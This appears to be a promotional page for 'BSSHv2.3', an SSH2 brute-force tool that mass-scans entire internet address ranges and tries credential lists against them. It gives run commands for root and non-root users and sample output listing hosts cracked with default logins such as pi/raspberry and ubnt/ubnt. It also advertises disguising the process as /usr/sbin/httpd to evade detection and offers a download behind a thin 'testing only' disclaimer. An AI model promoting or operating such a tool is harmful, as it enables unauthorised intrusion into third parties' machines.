BSSHv2.3 is a great tool for scanning ssh2 connections by providing a list of IPs and passwords. It is fast, reliable and easy to use. It is written in C++, therefore it is compatible on a large scale of unix systems, both 32 and 64 bits.
Compatible on 32 and 64 bit sistem on a various systems
Fast and reliable
Easy to use
Using fork() hidden process (will appear as /usr/sbin/httpd instead of bssh2 in ps aux
command)
Making differance between linux sistems and NON-BASH systems
The script will run and eventually catch two type of ssh2 connections :
NOBASH (nobash.txt) -> systems that can’t support basic and common SSH2 commands, but can still be used as a sshtunnel (some of them) LINUX (vuln.txt) -> systems that can support basic and common SSH2 commands
Before the scan start you must provide 2 files : scan.log (ips line by line)
- 1.2.3.4
- 4.4.4.4
- 5.5.5.5
pass.txt
- user1 pass1
- user2 pass2
- anotheruser anotherpass
ATTENTION: Scan from uid0 servers:
- ./scan_root 62
- scanning network 62...*
- usec: 100, burst packets 50
- using "(tcp[tcpflags]=0x12) and (src port 22) and (dst port 46222)" as pcap filter
- my detected ip on eth0 is 1*7..2.3
- capturing process started pid 27055
- scanning 62.0.0.*
- scanning 62.0.1.*
- .......
- @SSH2 Bruteforce v2.3 @ 2015!
- -> by [email protected]
- -> E-mail us for support or if you want to make a donation !
- Login successful!
- Vipcode is OK
- nobash -> aaron aaron 62...* 22
- nobash -> account account 62...* 22
- nobash -> account account 62...* 22
Scan from normal user (not uid0):
- SCAN A CLASS
- ./mass 88
- [*] MASS scan for USERs
- scanning: 88.0.255.* (total: 1575) (100.0% done)
- pscan completed in 299 seconds. (found 1577 ips)
- @SSH2 Bruteforce v2.3 @ 2015!
- -> by [email protected]
- -> E-mail us for support or if you want to make a donation !
- Login successful!
- Vipcode is OK
- nobash -> pi raspberry 88.0.. 22
SCAN B CLASS # the small one
- ./scan_user A_CLASS.B_CLASS
EXAMPLE:
- ./scan_user 81.2
- scanning: 81.2.255.* (total: 520) (100.0% done)
- pscan completed in 285 seconds. (found 3520 ips)
- @SSH2 Bruteforce v2.3 @ 2015!
- -> by [email protected]
- -> E-mail us for support or if you want to make a donation !
- Login successful!
- Vipcode is OK
- nobash -> ubnt ubnt 81.2.. 22
Download SSH2 Bruteforce v2.3 @ 2015
This software is intended for testing only. Please use it at your own risk!